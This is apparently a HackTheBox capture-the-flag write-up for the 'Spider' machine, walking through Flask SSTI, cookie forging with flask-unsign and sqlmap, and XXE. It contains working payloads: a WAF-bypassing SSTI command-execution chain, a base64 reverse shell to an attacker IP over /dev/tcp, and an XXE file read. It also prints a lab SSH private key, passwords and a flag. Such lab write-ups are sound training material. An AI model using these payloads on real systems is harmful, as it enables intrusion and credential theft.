Hello everyone,
Today we are going to solve the spider machine from Hackthebox. we will learn about SSTI in flask,flask-unsign with cookies,dumping data with sqlmap and XML entity injection
Nmap resultsโ
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 28:f1:61:28:01:63:29:6d:c5:03:6d:a9:f0:b0:66:61 (RSA)
| 256 3a:15:8c:cc:66:f4:9d:cb:ed:8a:1f:f9:d7:ab:d1:cc (ECDSA)
|_ 256 a6:d4:0c:8e:5b:aa:3f:93:74:d6:a8:08:c9:52:39:09 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://spider.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
--> It's redirecting us to spider.htb
so Let's add it in /etc/hosts
--> Got this website on port 80
Gobuster resultsโ
===============================================================
/cart (Status: 500) [Size: 290]
/checkout (Status: 500) [Size: 290]
/index (Status: 500) [Size: 290]
/login (Status: 200) [Size: 1832]
/logout (Status: 302) [Size: 209] [--> http://spider.htb/]
/main (Status: 500) [Size: 290]
/product-details (Status: 308) [Size: 275] [--> http://spider.htb/product-details/]
/register (Status: 200) [Size: 2130]
/user (Status: 302) [Size: 219] [--> http://spider.htb/login]
/view (Status: 302) [Size: 219] [--> http://spider.htb/login]
===============================================================
2021/11/05 13:30:13 Finished
===============================================================
Enumrationโ
--> I tried to register with the username and password and then logged in . After that i saw that we can see the user info in user information
tab and it's assigning unique UUID
for each user.
--> I tried the basic SSTI payload {{config}}
and registered with this name and found that we can see the config files.
==> Note: Name must be smaller than 10 characters.
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'RATELIMIT_ENABLED': True, 'RATELIMIT_DEFAULTS_PER_METHOD': False, 'RATELIMIT_SWALLOW_ERRORS': False, 'RATELIMIT_HEADERS_ENABLED': False, 'RATELIMIT_STORAGE_URL': 'memory://', 'RATELIMIT_STRATEGY': 'fixed-window', 'RATELIMIT_HEADER_RESET': 'X-RateLimit-Reset', 'RATELIMIT_HEADER_REMAINING': 'X-RateLimit-Remaining', 'RATELIMIT_HEADER_LIMIT': 'X-RateLimit-Limit', 'RATELIMIT_HEADER_RETRY_AFTER': 'Retry-After', 'UPLOAD_FOLDER': 'static/uploads'}>
--> I found the secret key in this file :
Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942
--> After searching for the variables like SESSION_COOKIE_SAMESITE
, PERMANENT_SESSION_LIFETIME
,RATELIMIT_HEADERS_ENABLED
i found that this website is using flask
in backend.
--> Cookies :
eyJjYXJ0X2l0ZW1zIjpbXSwidXVpZCI6ImNlNGQzYmI5LWIyZTktNDQwZi1iZWQ0LWRhMDliY2I5MzlmNiJ9.YYe9Ig.Vk7ey7efv0ElIaByDhNcfndwkWY
After decoding :
{ "cart_items": [], "uuid": "ce4d3bb9-b2e9-440f-bed4-da09bcb939f6" }
--> Let's add something in cart and see the changes in the cookies
{ "cart_items": ["1"], "uuid": "ce4d3bb9-b2e9-440f-bed4-da09bcb939f6" }
So it's changing the cookies on interaction with cart
sqlmapโ
--> I found this Blog but flask-unsign
is not working in my system so i will continue with sqlmap
command which you can find here
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Let's modify it
sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --dump
--> After running the sqlmap i got these results :
Parameter: Cookie #1* ((custom) HEADER)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: session=' AND (SELECT 5244 FROM (SELECT(SLEEP(5)))JJSC) AND 'oNCX'='oNCX
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: session=' UNION ALL SELECT CONCAT(0x716b766b71,0x67664d595359566c6672695942626f6852685967434b53624f6b46744d654868624357724f477069,0x7162706a71)-- -
---
Database: shop
Table: users
[5 entries]
+----+--------------------------------------+------------+-----------------+
| id | uuid | name | password |
+----+--------------------------------------+------------+-----------------+
| 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 |
| 2 | ce4d3bb9-b2e9-440f-bed4-da09bcb939f6 | {{config}} | hacker |
| 3 | 0ef61829-d721-4fb7-b77d-1c822759b859 | hack | hacker |
| 4 | 8188a43e-e335-4904-b7e8-14adb9a746c7 | hecker | hecker |
| 5 | b5826318-5d52-48a8-981b-5d54baf52896 | {{config}} | {{config}} |
+----+--------------------------------------+------------+-----------------+
Database: shop
Table: messages
[1 entry]
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| post_id | creator | message | timestamp |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
| 1 | 1 | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 |
+---------+---------+-----------------------------------------------------------------------------------+---------------------+
flask reverse shellโ
--> We got the password of chiv
so Let's try to login as SSH
But it didn't worked :/
--> So then i tried to login with UUID
and password on website and i got the admin panel.
--> There is a one message in messages
Fix the /a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal portal!
So it might be some directory so let's go into this
and it is generating the support ticket
--> Then i tried to add {{config}}
but WAF is filtering that so we have to find some payload which bypasses the WAF and i found one here
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')("id")|attr('read')()}}
--> But i found that it's filtering the single quote '
also so let's try with double quote "
New payload :
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("sleep 5")|attr("read")()%}
Why we used include and % ?โ
get your answer here
--> And we got 5 seconds sleep !
--> So let's get the reverse shell using this payload .
But we need to base64 encode
the reverse shell because it's not working directly because of special characters
So now our payload looks like this
{% include request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xNjIvNjk2OSAwPiYxCg== | base64 -d | bash
")|attr("read")()%}
--> we need to url encode this also
--> And i got the reverse shell and user
flag
I also got the ssh key for chiv
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmGvQ3kClVX7pOTDIdNTsQ5EzQl+ZLbpRwDgicM4RuWDvDqjV
gjWRBF5B75h/aXjIwUnMXA7XimrfoudDzjynegpGDZL2LHLsVnTkYwDq+o/MnkpS
U7tVc2i/LtGvrobrzNRFX8taAOQ561iH9xnR2pPGwHSF1/rHQqaikl9t85ESdrp9
MI+JsgXF4qwdo/zrgxGdcOa7zq6zlnwYlY2zPZZjHYxrrwbJiD7H2pQNiegBQgu7
BLRlsGclItrZB+p4w6pi0ak8NcoKVdeOLpQq0i58vXUCGqtp9iRA0UGv3xmHakM2
VTZrVb7Q0g5DGbEXcIW9oowFXD2ufo2WPXym0QIDAQABAoIBAH4cNqStOB6U8sKu
6ixAP3toF9FC56o+DoXL7DMJTQDkgubOKlmhmGrU0hk7Q7Awj2nddYh1f0C3THGs
hx2MccU32t5ASg5cx86AyLZhfAn0EIinVZaR2RG0CPrj40ezukWvG/c2eTFjo8hl
Z5m7czY2LqvtvRAGHfe3h6sz6fUrPAkwLTl6FCnXL1kCEUIpKaq5wKS1xDHma3Pc
XVQU8a7FwiqCiRRI+GqJMY0+uq8/iao20jF+aChGu2cAP78KAyQU4NIsKNnewIrq
54dWOw8lwOXp2ndmo3FdOfjm1SMNYtB5yvPR9enbu3wkX94fC/NS9OqLLMzZfYFy
f0EMoUECgYEAxuNi/9sNNJ6UaTlZTsn6Z8X/i4AKVFgUGw4sYzswWPC4oJTDDB62
nKr2o33or9dTVdWki1jI41hJCczx2gRqCGtu0yO3JaCNY5bCA338YymdVkphR9TL
j0UOJ1vHU06RFuD28orK+w0b+gVanQIiz/o57xZ1sVNaNOyJUlsenh8CgYEAxDCO
JjFKq+0+Byaimo8aGjFiPQFMT2fmOO1+/WokN+mmKLyVdh4W22rVV4v0hn937EPW
K1Oc0/hDtSSHSwI/PSN4C2DVyOahrDcPkArfOmBF1ozcR9OBAJME0rnWJm6uB7Lv
hm1Ll0gGJZ/oeBPIssqG1srvUNL/+sPfP3x8PQ8CgYEAqsuqwL2EYaOtH4+4OgkJ
mQRXp5yVQklBOtq5E55IrphKdNxLg6T8fR30IAKISDlJv3RwkZn1Kgcu8dOl/eu8
gu5/haIuLYnq4ZMdmZIfo6ihDPFjCSScirRqqzINwmS+BD+80hyOo3lmhRcD8cFb
0+62wbMv7s/9r2VRp//IE1ECgYAHf7efPBkXkzzgtxhWAgxEXgjcPhV1n4oMOP+2
nfz+ah7gxbyMxD+paV74NrBFB9BEpp8kDtEaxQ2Jefj15AMYyidHgA8L28zoMT6W
CeRYbd+dgMrWr/3pULVJfLLzyx05zBwdrkXKZYVeoMsY8+Ci/NzEjwMwuq/wHNaG
rbJt/wKBgQCTNzPkU50s1Ad0J3kmCtYo/iZN62poifJI5hpuWgLpWSEsD05L09yO
TTppoBhfUJqKnpa6eCPd+4iltr2JT4rwY4EKG0fjWWrMzWaK7GnW45WFtCBCJIf6
IleM+8qziZ8YcxqeKNdpcTZkl2VleDsZpkFGib0NhKaDN9ugOgpRXw==
-----END RSA PRIVATE KEY-----
--> And i also found that there is a port 8080
running internally and i found it using netstat -anp
command
--> So let's forward this port and let's see what we get !
XML entity injectionโ
And i found this beta login page
so Let's login as admin
user witout giving password
--> and we got logged in !
--> After some searching i found this cookies which looks weird
.eJxNjEFvgyAARv_KwnkH7WqTmexiAG03cKCActPRBC1as5HU2fS_z16aHb-8770rcPPgQHwFTy2IgUAUGzSX7HSQXPlRDqE6KvLbZrprBN6W6ZQYEUJWcSIh_xDIvpthv4jCw5WPhaBJjqeM94m-8_vWgYNMmQML0FZjm7cp9VTZTobiW0lTmBRXFFpCQr1Tbu1JVxE1M715Hf_7PLOXekFRs_ZJlXRNz18EItFXSuZc2YYv-FIP56B4_M1GnUxKsBMUecYWF9X9PiI4GT_L4A3cnsF07kb_A-Lg9gfxF1a8.YYlYJQ.cq3IvEiTsuVC9kD_QCCpldA_qHQ
--> Let's decode it with flask-unsign
flask-unsign --deocde --cookie <cookie>
--> After decoding it i got this :
{'lxml': b'PCEtLSBBUEkgVmVyc2lvbiAxLjAuMCAtLT4KPHJvb3Q+CiAgICA8ZGF0YT4KICAgICAgICA8dXNlcm5hbWU+YWRtaW48L3VzZXJuYW1lPgogICAgICAgIDxpc19hZG1pbj4wPC9pc19hZG1pbj4KICAgIDwvZGF0YT4KPC9yb290Pg==', 'points': 0}
--> Let's decode value of lxml
which looks base64
because of =
at the end
--> and we have XML
data !
--> So let's try xml entity injection
payloads after intercepting the request
i found this payload :
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
--> But for that we have to login as &admin;
because the payload requires it
but wait where we will inject this payload ?โ
--> So for that let's intercept the login request
and this is what i got :
POST /login HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://localhost:8000
Connection: close
Referer: http://localhost:8000/login
Cookie: __test=1; session=eyJwb2ludHMiOjB9.YYldfw.MlhlWFVe5ZLZX9fJ1u3Kr3CV5cI
Upgrade-Insecure-Requests: 1
username=%26admin%3B&version=1.0.0
--> Here there are 2 parameters username
and version
and i found that version
is reflecting in first tags in xml
and username
is reflecting between <username></username>
so we have to inject the payload in version
because <!DOCTYPE>
must be at first tag
so my payload is looking like this :
value=1.0.2--><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///etc/passwd'>]><!--
so now xml
look like this :
<!API version 1.0.2--><!DOCTYPE root [<!ENTITY admin SYSTEM 'file:///etc/passwd'>]><!---->
#and other stuff after this
--> and boom we got content of /etc/passwd
!
--> So now let's read the flag which is in /root/root.txt
--> and boom we got the root flag !
c208888f258c21bfdf59c8d4099fd3a1
--> If you need better shell then just grab the id_rsa
and get the ssh shell